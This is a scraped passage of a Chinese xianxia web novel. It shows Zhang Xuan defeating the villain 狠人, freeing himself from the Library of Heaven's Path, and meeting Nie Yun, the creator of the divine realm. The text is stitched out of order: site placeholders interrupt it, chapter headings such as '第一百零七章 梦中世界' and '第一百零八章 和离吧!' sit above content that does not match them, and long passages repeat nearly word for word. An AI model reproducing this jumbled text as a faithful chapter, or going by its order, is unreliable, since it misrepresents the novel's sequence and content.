潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百零七章 梦中世界 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百零八章 和离吧! 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 